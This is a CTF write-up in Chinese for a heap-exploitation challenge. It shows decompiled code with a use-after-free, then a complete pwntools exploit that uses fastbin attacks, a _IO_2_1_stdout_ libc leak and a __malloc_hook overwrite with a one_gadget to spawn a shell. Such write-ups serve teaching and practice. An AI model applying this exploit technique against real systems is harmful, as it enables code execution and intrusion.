checksec:
全开
add:
__int64 add()
{
int v1; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("wlecome input your size of weapon: ");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > 96 )
{
printf("The size of weapon is too dangers!!", &v1);
exit(0);
}
printf("input index: ", &v1);
v2 = read_i();
if ( v2 < 0 && v2 > 9 )
{
printf("error");
exit(0);
}
v3 = malloc(v1);
if ( !v3 )
{
printf("malloc error");
exit(0);
}
size[4 * v2] = v1;
*((_QWORD *)&heap + 2 * v2) = v3;
puts("input your name:");
sub_AF6(*((void **)&heap + 2 * v2), v1);
return 0LL;
}
dele:
unsigned __int64 dele()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = read_i();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&heap + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
edit:
unsigned __int64 edit()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx: ");
v1 = read_i();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
puts("new content:");
sub_AF6(*((void **)&heap + 2 * v1), size[4 * v1]);
puts("Done !");
return __readfsqword(0x28u) ^ v2;
}
该题没有show函数,需要借助_IO_2_1_stdout_泄露libc,free函数指针未置空,存在uaf。
_IO_2_1_stdout_原理可参考:http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html
简而言之就是覆盖_IO_write_base,当存在puts或printf之类的函数就会把目标地址泄露出来
先贴exp:(没有 try except爆破,直接手动爆破 )
#!/usr/bin/python
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
#a=remote("node3.buuoj.cn",29625)
#g=gdb.debug("/root/ciscn")
a=process("/root/de1ctf")
elf=ELF("/root/de1ctf")
libc=ELF("libc-2.23.so")
one_gadget = [0x45216,0x45261,0xf02a4,0xf1147]
def add(size,index,content):
a.sendlineafter('choice >> ','1')
a.sendlineafter('wlecome input your size of weapon: ',str(size))
a.sendlineafter('input index:',str(index))
a.sendafter('input your name:',content)
def free(index):
a.sendlineafter('choice >> ','2')
a.sendlineafter('input idx :',str(index))
def edit(index,content):
a.sendlineafter('choice >> ','3')
a.sendlineafter('input idx: ',str(index))
a.sendafter('new content:',content)
add(0x10,0,'aaaa')
add(0x10,1,'aaaa')
add(0x60,2,'aaaa')
add(0x10,3,'aaaa')
free(0)
free(1)
free(0)
add(0x10,0,p64(0)+p64(0x21))
edit(1,'\x10') # p1
add(0x10,1,'a')
add(0x10,4,p64(0)+p64(0x91)) #p2
free(1) #p3
free(2)
add(0x10,5,'zzzz') #p4
edit(2,'\xdd\x65')
add(0x60,2,'v')
add(0x60,4,'a')
edit(4,'a'*3+p64(0)*6+p64(0xfbad1887)+p64(0)*3+p8(0x58))
libc_addr= u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_']
print hex(libc_addr)
one=one_gadget[3]+libc_addr
sys=libc_addr+libc.sym['system']
malloc=libc_addr+libc.sym['__malloc_hook']
free(2)
edit(2,p64(malloc-0x23))
add(0x60,2,'a'*0x13+p64(one))
add(0x60,5,'a'*0x13+p64(one))
add(0x60,6,'ccc')
gdb.attach(a)
a.interactive()
p1:
利用uaf修改fd指向箭头所示位置
p2:
伪造idx 1的size为0x91
p3:
free后即进入unsorted bin
p4:
申请一个大小为0x10的堆块,原unsorted bin中的fd,bk会进入fast bin中,这样一来,我们就能利用
fastbin attack修改_IO_2_1_stdout_
我们需要修改_IO_write_base,也就是图中标记的位置的值。
需要利用7f绕过fastbin的校验。
5dd的位置就存在一个7f,我们申请的堆块足够覆盖到目标位置,5dd前的那一位无法确定,爆破概率为1/16
泄露出的地址为_IO_2_1_stdout_+131
之后就是再利用一次fastbin attack通过onegadget获取shell。